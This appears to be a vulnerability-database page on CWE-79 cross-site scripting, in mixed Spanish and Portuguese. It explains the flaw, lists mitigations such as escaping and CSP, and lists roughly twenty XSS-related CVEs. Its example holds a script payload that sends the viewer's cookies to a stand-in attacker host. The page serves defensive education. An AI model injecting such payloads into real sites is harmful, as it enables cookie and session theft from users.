Fallos del tipo CWE-79

28.650 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2021-3950HIGHCross-site Scripting (XSS) - Stored in django-helpdesk/django-helpdeskEPSS 0.8%CVE-2022-23980MEDIUMWordPress Yasr – Yet Another Stars Rating plugin <= 2.9.9 - Cross-Site Scripting (XSS) vulnerabilityEPSS 0.8%CVE-2018-8928MEDIUMCross-site scripting (XSS) vulnerability in Address Book Editor in Synology CardDAV Server before 6.0.8-0086 allows remote authenticated useEPSS 0.8%CVE-2018-8917MEDIUMCross-site scripting (XSS) vulnerability in info.cgi in Synology DiskStation Manager (DSM) before 6.1.6-15266 allows remote attackers to injEPSS 0.8%CVE-2022-0911MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 0.8%CVE-2019-11827MEDIUMCross-site scripting (XSS) vulnerability in SYNO.NoteStation.Shard in Synology Note Station before 2.5.3-0863 allows remote attackers to injEPSS 0.8%CVE-2018-8918MEDIUMCross-site scripting (XSS) vulnerability in info.cgi in Synology Router Manager (SRM) before 1.1.7-6941 allows remote attackers to inject arEPSS 0.8%CVE-2022-0893MEDIUMCross-site Scripting (XSS) - Stored in pimcore/pimcoreEPSS 0.8%CVE-2018-8915MEDIUMCross-site scripting (XSS) vulnerability in Notification Center in Synology Calendar before 2.1.1-0502 allows remote authenticated users to EPSS 0.8%CVE-2018-8924MEDIUMCross-site scripting (XSS) vulnerability in Title Tootip in Synology Office before 3.0.3-2143 allows remote authenticated users to inject arEPSS 0.8%CVE-2019-11825MEDIUMCross-site scripting (XSS) vulnerability in Event Editor in Synology Calendar before 2.3.0-0615 allows remote attackers to inject arbitrary EPSS 0.8%CVE-2021-47817MEDIUMOpenEMR 5.0.2.1 - Remote Code ExecutionEPSS 0.8%CVE-2022-28172MEDIUMThe web module in some Hikvision Hybrid SAN/Cluster Storage products have the following security vulnerability. Due to the insufficient inpuEPSS 0.8%CVE-2024-33111MEDIUMD-Link DIR-845L router <=v1.01KRb03 is vulnerable to Cross Site Scripting (XSS) via /htdocs/webinc/js/bsc_sms_inbox.php.EPSS 0.8%CVE-2024-26517CRITICALSQL Injection vulnerability in School Task Manager v.1.0 allows a remote attacker to obtain sensitive information via a crafted payload to tEPSS 0.8%CVE-2024-4835HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 0.8%CVE-2023-2395MEDIUMNetgear SRX5308 Web Management Interface cross site scriptingEPSS 0.8%CVE-2023-2396MEDIUMNetgear SRX5308 Web Management Interface cross site scriptingEPSS 0.8%CVE-2021-32850MEDIUMjQuery MiniColors vulnerable to Cross-site ScriptingEPSS 0.8%CVE-2019-15969MEDIUMCisco Web Security Appliance Management Interface Cross-Site Scripting VulnerabilityEPSS 0.8%